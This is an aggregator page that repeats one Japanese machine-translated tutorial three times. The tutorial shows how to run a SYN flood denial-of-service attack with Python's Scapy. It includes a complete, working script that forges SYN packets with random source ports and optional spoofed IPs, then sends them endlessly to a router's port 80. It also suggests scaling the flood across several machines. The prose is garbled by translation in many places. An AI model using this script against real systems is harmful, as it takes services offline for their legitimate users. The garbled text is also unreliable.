津田  直子

津田 直子

1634513640

PythonでSYNフラッド攻撃を行う方法

A SYNフラッド攻撃は、一般的な形態のあるサービス拒否攻撃、攻撃者がターゲットシステムにSYN要求のシーケンスを送信する(など、ファイアウォール、侵入防止システム(IPS)、ルーターすることができます)を消費するために、そのリソースは、正当なクライアントが通常の接続を確立するのを防ぎます。

TCP SYNフラッドは、TCPスリーウェイハンドシェイクの最初の部分を悪用します。TCPプロトコルを使用するすべての接続でそれが必要になるため、この攻撃は危険であることが判明し、いくつかのネットワークコンポーネントをダウンさせる可能性があります。

SYNフラッドを理解するには、最初にTCPスリーウェイハンドシェイクについて説明する必要があります

TCPスリーウェイハンドシェイククライアントがTCPプロトコルを介してサーバーへの接続を確立する場合、クライアントとサーバーは一連のメッセージを交換します。

  • クライアントは、SYNメッセージをサーバーに送信して接続を要求します。
  • サーバーはSYN-ACKメッセージで応答します(要求を確認します)。
  • クライアントはACKで応答し、接続が開始されます。

SYNフラッド攻撃には、ACKで応答せずにSYNパケットを繰り返し送信し、多くの場合、異なる送信元ポートで送信する悪意のあるユーザーが関与します。これにより、サーバーは攻撃に気付かず、各ポートからのSYN-ACKパケットで各試行に応答します(赤上の画像の緑色の部分)。このようにして、サーバーは正当なクライアントにすぐに応答しなくなります。

関連チュートリアル:  Scapyを使用してPythonでWiFiスキャナーを構築する方法

このチュートリアルでは、PythonのScapyライブラリを使用してSYNフラッド攻撃を実装します。開始するには、Scapyをインストールする必要があります。

pip3 install scapy

 

新しいPythonファイルを開き、Scapyをインポートします。

from scapy.all import *

 

プライベートIPアドレスが192.168.1.1のローカルルーターでこれをテストします。

# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80

 

ルーターに対してこれを試したい場合は、正しいIPアドレスを持っていることを確認してください。デフォルトゲートウェイアドレスはipconfigip routeそれぞれWindowsとmacOS / Linuxのコマンドを介して取得できます。

ルーターのWebインターフェイスをフラッディングしたいので、ターゲットポートはHTTPです。次に、IP層から始めてSYNパケットを偽造しましょう。

# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)

 

dstターゲットIPアドレスとしてを指定しsrcました。プライベートネットワーク範囲(コメントコード)内のスプーフィングされたランダムIPアドレスにアドレスを設定することもでき、それも機能します。

TCPレイヤーを作りましょう:

# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")

 

(ソースポートを設定している私たちは、そうsport(からの範囲のランダムなショートに)1に65535ちょうどポートのように、)とdport、この場合には、当社のターゲットポートとして(宛先ポート)、それのHTTPサービスを。

また、"S"SYNタイプを示すフラグを設定します。

次に、ネットワークを占有するために、フラッディングの生データを追加しましょう。

# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)

 

素晴らしいです。では、レイヤーを積み上げてパケットを送信しましょう。

# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected 
send(p, loop=1, verbose=0)

 

そのためsend()、レイヤー3でパケットを送信する関数を使用し、CTRL + Cを押すまで送信を続けるようloopに1に設定verboseしました。0に設定すると、プロセス中に何も出力されません(サイレント)。

スクリプトが完了しました。これをルーターに対して実行した後、数秒かかりました。確かに、ルーターは機能を停止し、接続が失われました。

Scapyを使用したSYNフラッド攻撃が成功した後、ルーターが動作を停止しましたこれは、Windowsでの次のコマンドの出力です。

$ ping -t "192.168.1.1"

攻撃者以外の別のマシンからキャプチャされたため、ルーターは応答しなくなりました。

すべてを正常に戻すには、攻撃を停止し(CTRL + Cを押して)、デバイスがまだ応答しない場合は、続行して再起動します。

関連チュートリアル:  PythonでScapyを使用してネットワークスキャナーを作成する方法。

結論

大丈夫!チュートリアルは終了しました。ローカルコンピューターに対してスクリプトを実行しようとすると、コンピューターがビジー状態になり、待ち時間が大幅に増加することがわかります。また、複数の端末や他のマシンでスクリプトを実行して、ローカルコンピューターのネットワークをシャットダウンできるかどうかを確認することもできます。

免責事項:あなたが所有していない、または許可を得ていないデバイスでこれを使用しないでください。私たちは責任を負いません。このチュートリアルは教育目的のみです。

リンク: https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python

#python 

What is GEEK

Buddha Community

PythonでSYNフラッド攻撃を行う方法
山本  洋介

山本 洋介

1634352180

PythonでSYNフラッド攻撃を行う方法

A SYNフラッド攻撃は、一般的な形態のあるサービス拒否攻撃、攻撃者がターゲットシステムにSYN要求のシーケンスを送信する(など、ファイアウォール、侵入防止システム(IPS)、ルーターすることができます)を消費するために、そのリソースは、正当なクライアントが通常の接続を確立するのを防ぎます。

TCP SYNフラッドは、TCPスリーウェイハンドシェイクの最初の部分を悪用します。TCPプロトコルを使用するすべての接続でそれが必要になるため、この攻撃は危険であることが判明し、いくつかのネットワークコンポーネントをダウンさせる可能性があります。

SYNフラッドを理解するには、最初にTCPスリーウェイハンドシェイクについて説明する必要があります

TCPスリーウェイハンドシェイククライアントがTCPプロトコルを介してサーバーへの接続を確立する場合、クライアントとサーバーは一連のメッセージを交換します。

  • クライアントは、SYNメッセージをサーバーに送信して接続を要求します。
  • サーバーはSYN-ACKメッセージで応答します(要求を確認します)。
  • クライアントはACKで応答し、接続が開始されます。

SYNフラッド攻撃には、ACKで応答せずにSYNパケットを繰り返し送信し、多くの場合、異なる送信元ポートで送信する悪意のあるユーザーが関与します。これにより、サーバーは攻撃に気付かず、各ポートからのSYN-ACKパケットで各試行に応答します(赤上の画像の緑色の部分)。このようにして、サーバーは正当なクライアントにすぐに応答しなくなります。

このチュートリアルでは、PythonのScapyライブラリを使用してSYNフラッド攻撃を実装します。開始するには、Scapyをインストールする必要があります。

pip3 install scapy

新しいPythonファイルを開き、Scapyをインポートします。

from scapy.all import *

プライベートIPアドレスが192.168.1.1のローカルルーターでこれをテストします。

# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80

ルーターに対してこれを試したい場合は、正しいIPアドレスを持っていることを確認してください。デフォルトゲートウェイアドレスはipconfigip routeそれぞれWindowsとmacOS / Linuxのコマンドを介して取得できます。

ルーターのWebインターフェイスをフラッディングしたいので、ターゲットポートはHTTPです。次に、IP層から始めてSYNパケットを偽造しましょう。

# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)

dstターゲットIPアドレスとしてを指定しsrcました。プライベートネットワーク範囲(コメントコード)内のスプーフィングされたランダムIPアドレスにアドレスを設定することもでき、それも機能します。

TCPレイヤーを作りましょう:

# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")

(ソースポートを設定している私たちは、そうsport(からの範囲のランダムなショートに)1に65535ちょうどポートのように、)とdport、この場合には、当社のターゲットポートとして(宛先ポート)、それのHTTPサービスを。

また、"S"SYNタイプを示すフラグを設定します。

次に、ネットワークを占有するために、フラッディングの生データを追加しましょう。

# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)

素晴らしいです。では、レイヤーを積み上げてパケットを送信しましょう。

# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected 
send(p, loop=1, verbose=0)

そのためsend()、レイヤー3でパケットを送信する関数を使用し、CTRL + Cを押すまで送信を続けるようloopに1に設定verboseしました。0に設定すると、プロセス中に何も出力されません(サイレント)。

スクリプトが完了しました。これをルーターに対して実行した後、数秒かかりました。確かに、ルーターは機能を停止し、接続が失われました。

Scapyを使用したSYNフラッド攻撃が成功した後、ルーターが動作を停止しましたこれは、Windowsでの次のコマンドの出力です。

$ ping -t "192.168.1.1"

攻撃者以外の別のマシンからキャプチャされたため、ルーターは応答しなくなりました。

すべてを正常に戻すには、攻撃を停止し(CTRL + Cを押して)、デバイスがまだ応答しない場合は、続行して再起動します。

結論

大丈夫!チュートリアルは終了しました。ローカルコンピューターに対してスクリプトを実行しようとすると、コンピューターがビジー状態になり、待ち時間が大幅に増加することがわかります。また、複数の端末や他のマシンでスクリプトを実行して、ローカルコンピューターのネットワークをシャットダウンできるかどうかを確認することもできます。

免責事項:あなたが所有していない、または許可を得ていないデバイスでこれを使用しないでください。私たちは責任を負いません。このチュートリアルは教育目的のみです。

リンク: https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python

#python 

津田  直子

津田 直子

1634513640

PythonでSYNフラッド攻撃を行う方法

A SYNフラッド攻撃は、一般的な形態のあるサービス拒否攻撃、攻撃者がターゲットシステムにSYN要求のシーケンスを送信する(など、ファイアウォール、侵入防止システム(IPS)、ルーターすることができます)を消費するために、そのリソースは、正当なクライアントが通常の接続を確立するのを防ぎます。

TCP SYNフラッドは、TCPスリーウェイハンドシェイクの最初の部分を悪用します。TCPプロトコルを使用するすべての接続でそれが必要になるため、この攻撃は危険であることが判明し、いくつかのネットワークコンポーネントをダウンさせる可能性があります。

SYNフラッドを理解するには、最初にTCPスリーウェイハンドシェイクについて説明する必要があります

TCPスリーウェイハンドシェイククライアントがTCPプロトコルを介してサーバーへの接続を確立する場合、クライアントとサーバーは一連のメッセージを交換します。

  • クライアントは、SYNメッセージをサーバーに送信して接続を要求します。
  • サーバーはSYN-ACKメッセージで応答します(要求を確認します)。
  • クライアントはACKで応答し、接続が開始されます。

SYNフラッド攻撃には、ACKで応答せずにSYNパケットを繰り返し送信し、多くの場合、異なる送信元ポートで送信する悪意のあるユーザーが関与します。これにより、サーバーは攻撃に気付かず、各ポートからのSYN-ACKパケットで各試行に応答します(赤上の画像の緑色の部分)。このようにして、サーバーは正当なクライアントにすぐに応答しなくなります。

関連チュートリアル:  Scapyを使用してPythonでWiFiスキャナーを構築する方法

このチュートリアルでは、PythonのScapyライブラリを使用してSYNフラッド攻撃を実装します。開始するには、Scapyをインストールする必要があります。

pip3 install scapy

 

新しいPythonファイルを開き、Scapyをインポートします。

from scapy.all import *

 

プライベートIPアドレスが192.168.1.1のローカルルーターでこれをテストします。

# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80

 

ルーターに対してこれを試したい場合は、正しいIPアドレスを持っていることを確認してください。デフォルトゲートウェイアドレスはipconfigip routeそれぞれWindowsとmacOS / Linuxのコマンドを介して取得できます。

ルーターのWebインターフェイスをフラッディングしたいので、ターゲットポートはHTTPです。次に、IP層から始めてSYNパケットを偽造しましょう。

# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)

 

dstターゲットIPアドレスとしてを指定しsrcました。プライベートネットワーク範囲(コメントコード)内のスプーフィングされたランダムIPアドレスにアドレスを設定することもでき、それも機能します。

TCPレイヤーを作りましょう:

# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")

 

(ソースポートを設定している私たちは、そうsport(からの範囲のランダムなショートに)1に65535ちょうどポートのように、)とdport、この場合には、当社のターゲットポートとして(宛先ポート)、それのHTTPサービスを。

また、"S"SYNタイプを示すフラグを設定します。

次に、ネットワークを占有するために、フラッディングの生データを追加しましょう。

# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)

 

素晴らしいです。では、レイヤーを積み上げてパケットを送信しましょう。

# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected 
send(p, loop=1, verbose=0)

 

そのためsend()、レイヤー3でパケットを送信する関数を使用し、CTRL + Cを押すまで送信を続けるようloopに1に設定verboseしました。0に設定すると、プロセス中に何も出力されません(サイレント)。

スクリプトが完了しました。これをルーターに対して実行した後、数秒かかりました。確かに、ルーターは機能を停止し、接続が失われました。

Scapyを使用したSYNフラッド攻撃が成功した後、ルーターが動作を停止しましたこれは、Windowsでの次のコマンドの出力です。

$ ping -t "192.168.1.1"

攻撃者以外の別のマシンからキャプチャされたため、ルーターは応答しなくなりました。

すべてを正常に戻すには、攻撃を停止し(CTRL + Cを押して)、デバイスがまだ応答しない場合は、続行して再起動します。

関連チュートリアル:  PythonでScapyを使用してネットワークスキャナーを作成する方法。

結論

大丈夫!チュートリアルは終了しました。ローカルコンピューターに対してスクリプトを実行しようとすると、コンピューターがビジー状態になり、待ち時間が大幅に増加することがわかります。また、複数の端末や他のマシンでスクリプトを実行して、ローカルコンピューターのネットワークをシャットダウンできるかどうかを確認することもできます。

免責事項:あなたが所有していない、または許可を得ていないデバイスでこれを使用しないでください。私たちは責任を負いません。このチュートリアルは教育目的のみです。

リンク: https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python

#python